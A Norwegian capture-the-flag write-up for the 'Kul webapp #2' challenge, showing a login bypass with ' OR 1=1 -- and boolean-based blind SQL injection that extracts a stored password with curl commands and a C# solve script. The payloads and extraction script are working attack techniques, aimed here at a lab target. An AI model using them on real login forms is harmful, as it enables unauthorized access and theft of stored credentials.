View on GitHub

Sikkerhetsdagen 2022 CTF @ UiA

Kul webapp #2

Kul webapp #2

Da er endelig login system på plass! Registrering kommer snart!

ctf.uiactf.no:3005


Nettsiden ser slik ut:

Det skal nå være mulig å logge inn på siden i motsetning til Kul webapp #1-oppgaven.

Det er også en mailto:-link med en epostadresse som kanskje er et hint?

Vi klikker på Login og blir presentert med følgende:

La oss bruke epostadressen ovenfra; admin@minkulewebapp.finnesikke og en SQLi-payload for å sjekke om dette kan være en SQLi-oppgave. Vi bruker ' som passord og klikker Logg inn:

Feilmelding:

Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1 unrecognized token: "''';" in /usr/src/myapp/login.php:14 Stack trace: #0 /usr/src/myapp/login.php(14): PDO->query('SELECT * FROM b...') #1 /usr/src/myapp/index.php(23): include('/usr/src/myapp/...') #2 {main} thrown in /usr/src/myapp/login.php on line 14

Her kan det se ut som om det er noe krøll med måten databasen brukes og at applikasjonen er sårbar for SQL-injection.

Ved å endre payloaden vår for Passord-feltet til ' OR 1=1 -- klarer vi å omgå passordsjekken og får logget inn i aplikasjonen:

Legg merke til Logout-lenken oppe i venstre hjørne. Vi er nå logget inn i aplikasjonen. Etter å ha sett litt rundt i applikasjonen og testet litt rundt ?page=-variabelen for å se etter en LFI-sårbarhet, viser det seg at applikasjonen er en del sikrere enn tidligere. Eller?

La oss gå tilbake til SQLi-sårbarheten. Kanskje vi kan finne en måte å lese ut data fra databasen? I dette tilfellet er det ingen databasedata som presenteres i applikasjonen. Det gjør det vanskeligere å lekke dataene. Hvordan skal vi få eksfiltrert dem?

La oss se nærmere på hva som skjer når vi gir applikasjonen ' som passord igjen:

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord='" | grep -E 'Notice|Fatal|Feil brukernavn eller passord'

<b>Notice</b>:  session_start(): Ignoring session_start() because a session is already active in <b>/usr/src/myapp/login.php</b> on line <b>2</b><br />
<b>Fatal error</b>:  Uncaught PDOException: SQLSTATE[HY000]: General error: 1 unrecognized token: &quot;''';&quot; in /usr/src/myapp/login.php:14

Her bruker jeg curl og grep for å filtrere bort en del unødvendig informasjon. Men vi ser at applikasjonen feiler. La oss nå prøve med et passord som fører til en gyldig SQL-query, men som IKKE omgår innloggingen. Jeg prøver med test som passord:

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=test" | grep -E 'Notice|Fatal|Feil brukernavn eller passord'

<b>Notice</b>:  session_start(): Ignoring session_start() because a session is already active in <b>/usr/src/myapp/login.php</b> on line <b>2</b><br />
<p class="text-danger">Feil brukernavn eller passord</p><main role="main" class="inner cover">

Og så prøver vi en siste gang, denne gang med en gyldig SQL-query, som omgår innloggingen. Jeg prøver som tidligere med ' OR 1=1 -- som passord:

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=' OR 1=1 --" | grep -E 'Notice|Fatal|Feil brukernavn eller passord'

<b>Notice</b>:  session_start(): Ignoring session_start() because a session is already active in <b>/usr/src/myapp/login.php</b> on line <b>2</b><br />

Denne gang ser vi ikke strengen Feil brukernavn eller passord. Dette er vesentlig. Vi vet nå, at så lenge vi kjører gyldige spørringer, så kan vi bruke strengen Feil brukernavn eller passord som indikasjon på om spørringen vår er sann eller usann.

Dette heter Boolean based Blind SQL Injection (SQLi) som betyr:

Boolean-based SQL injection is a technique which relies on sending an SQL query to the database. This injection technique forces the application to return a different result, depending on the query. Depending on the boolean result (TRUE or FALSE), the content within the HTTP response will change, or remain the same. The result allows an attacker to judge whether the payload used returns true or false, even though no data from the database are recovered.

Hentet fra: https://beaglesecurity.com/blog/vulnerability/boolean-based-blind-sql-injection.html.

La oss se hvordan vi kan bruke denne teknikken til å eksfiltrere data.

På dette tidspunktet må vi finne ut hva kolonnene i tabellen vår heter. Dette er det som regel mulig å finne ut ved å bruke teknikken som jeg nå skal demonstrere. Da kan man spørre (kjøre SQL) mot “interne” tabeller i database-serveren. Disse spørringene gjøres mot databaser/tabeller/kolonner med kjente navn basert på hvilken type database vi jobber med.

I dette tilfellet finner vi kolonnenavnene ved kvalifisert gjetning i stedet.

Payload: ' OR denne_kolonnen_eksisterer_ikke --

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=' OR denne_kolonnen_eksisterer_ikke --" | grep -E 'Notice|Fata
l|Feil brukernavn eller passord'

<b>Fatal error</b>:  Uncaught PDOException: SQLSTATE[HY000]: General error: 1 no such column: denne_kolonnen_eksisterer_ikke in /usr/src/myapp/login.php:14

Vi ser at kolonnen denne_kolonnen_eksisterer_ikke ikke eksisterer. Dette vet vi fordi vi får følgende feilmelding: General error: 1 no such column: denne_kolonnen_eksisterer_ikke.

La oss sjekke følgende kolonnenavn; id, epost og passord:

Payload: ' OR id --

Ingen feilmeldinger i spørringen under; kolonnen id eksisterer:

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=' OR id --" | grep -E 'Notice|Fatal|Feil brukernavn eller pass
ord'

<p class="text-danger">Feil brukernavn eller passord</p><main role="main" class="inner cover">

Payload: ' OR epost --

Ingen feilmeldinger i spørringen under; kolonnen epost eksisterer:

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=' OR epost --" | grep -E 'Notice|Fatal|Feil brukernavn eller passord'

<p class="text-danger">Feil brukernavn eller passord</p><main role="main" class="inner cover">

Payload: ' OR passord --

Ingen feilmeldinger i spørringen under; kolonnen passord eksisterer:

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=' OR passord --" | grep -E 'Notice|Fatal|Feil brukernavn eller
 passord'

<p class="text-danger">Feil brukernavn eller passord</p><main role="main" class="inner cover">

Eksfiltrering

Vi kan sjekke om passord-feltet matcher med wildcard (%) symbolet.

Payload: ' OR passord LIKE '%' --

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=' OR passord LIKE '%' --" | grep -E 'Notice|Fatal|Feil brukern
avn eller passord'

<b>Notice</b>:  session_start(): Ignoring session_start() because a session is already active in <b>/usr/src/myapp/login.php</b> on line <b>2</b><br />

Resultatet indikerer TRUE (ingen Feil brukernavn eller passord-streng). Vi vet at passord-kolonnen finnes og matcher med %.

Hva med følgende payload:

Payload: ' OR passord LIKE 'X' --

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=' OR passord LIKE 'X' --" | grep -E 'Notice|Fatal|Feil brukernavn eller passord'

<b>Notice</b>:  session_start(): Ignoring session_start() because a session is already active in <b>/usr/src/myapp/login.php</b> on line <b>2</b><br />
<p class="text-danger">Feil brukernavn eller passord</p><main role="main" class="inner cover">

Resultatet indikerer FALSE (vi ser Feil brukernavn eller passord-strengen). Vi vet at passordet IKKE er X.

Nå kan vi automatisere spørringene våre for å eksfiltrere passord-feltet. Vi prøver å sammenligne passord med en og en karakter i sammen med % helt til vi får et resultat som indikerer TRUE.

Eksempel på payloads:

Når vi får et TRUE-resultat kan vi bruke den aktuelle karakteren og utvide til neste karakter:

Eksempel på payloads:

Og så videre…

En siste kvalifisert gjetning før vi fortsetter. Vi forventer å finne et flagg i passord-kolonnen. La os sjekke om passordet matcher flaggformatet:

$ curl -s 'http://ctf.uiactf.no:3005/index.php?page=login.php' -d "epost=admin@minkulewebapp.finnesikke&login=login&passord=' OR passord LIKE 'UIACTF{%}' --" | grep -E 'Notice|Fatal|Feil
 brukernavn eller passord'

<b>Notice</b>:  session_start(): Ignoring session_start() because a session is already active in <b>/usr/src/myapp/login.php</b> on line <b>2</b><br />

^ TRUE-resultat!

Dette ser veldig lovende ut. La oss skrive et skript:

solve.cs

var url = "http://ctf.uiactf.no:3005/index.php?page=login.php";
var handler = new HttpClientHandler() { UseCookies = false };
var c = new HttpClient(handler);

var charsToTry = "{}!abcdefghijklmnopqrstuvwxyzæøå0123456789_";
var charsFound = "";
var charIndex = 0;

while (!charsFound.Any() || charsFound.Last() != '}')
{
    var currentChar = charsToTry[charIndex];
    
    var content = new FormUrlEncodedContent(new[]
    {
        new KeyValuePair<string, string>("epost", "admin@minkulewebapp.finnesikke"),
        new KeyValuePair<string, string>("login", "login"),
        new KeyValuePair<string, string>("passord", $"' OR passord LIKE '{charsFound}{currentChar}%' --"),
    });

    var r = await c.PostAsync(url, content);
    var s = await r.Content.ReadAsStringAsync();
    
    var querySuccess = !s.Contains("Feil brukernavn eller passord");
    
    if (querySuccess) {
        charIndex = 0;
        charsFound = charsFound + currentChar;
        Util.ClearResults();
        charsFound.Dump();
    } else {
        charIndex++;
    }
}

charsToTry inneholder alle karakterene vi tror vi vil kunne finne i kolonnen:

var charsToTry = "{}!abcdefghijklmnopqrstuvwxyzæøå0123456789_";

Vi kjører spørringer helt til siste karakter i charsFound er }, som er slutten på flagget.

Vipps så ser vi flagget bygges opp sakte men sikkert forran øynene våre:


Flagg

uiactf{passord_i_klartekst_er_ikke_bra}

Jeg husker ikke 100% om flagget gikk gjennom slik, eller om jeg endret noe på capitalization basert på formatet på tidligere flagg. Jeg tror muligens jeg sendte inn flagget som dette:

UIACTF{Passord_i_klartekst_er_ikke_bra}

Solves

Jeg er ganske fornøyd med å være i godt selskap her.